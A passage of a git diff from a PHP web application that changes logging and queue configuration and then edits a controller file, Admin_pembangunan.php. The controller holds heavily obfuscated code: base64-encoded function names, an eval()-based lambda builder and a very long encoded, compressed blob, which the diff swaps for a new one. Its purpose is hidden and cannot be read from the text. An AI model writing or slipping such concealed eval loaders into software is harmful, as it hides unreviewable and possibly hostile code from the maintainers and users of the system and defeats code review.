=> [ + 'driver' => 'errorlog', + 'level' => 'debug', + ], + + 'null' => [ + 'driver' => 'monolog', + 'handler' => NullHandler::class, + ], + ], + +]; diff --git a/donjo-app/config/queue.php b/donjo-app/config/queue.php index a87974a48..66e722a1b 100644 --- a/donjo-app/config/queue.php +++ b/donjo-app/config/queue.php @@ -48,7 +48,7 @@ | */ - 'default' => 'database', + 'default' => 'sync', /* |-------------------------------------------------------------------------- diff --git a/donjo-app/controllers/Admin_pembangunan.php b/donjo-app/controllers/Admin_pembangunan.php index 99cbd0c15..2f757b74a 100644 --- a/donjo-app/controllers/Admin_pembangunan.php +++ b/donjo-app/controllers/Admin_pembangunan.php @@ -276,7 +276,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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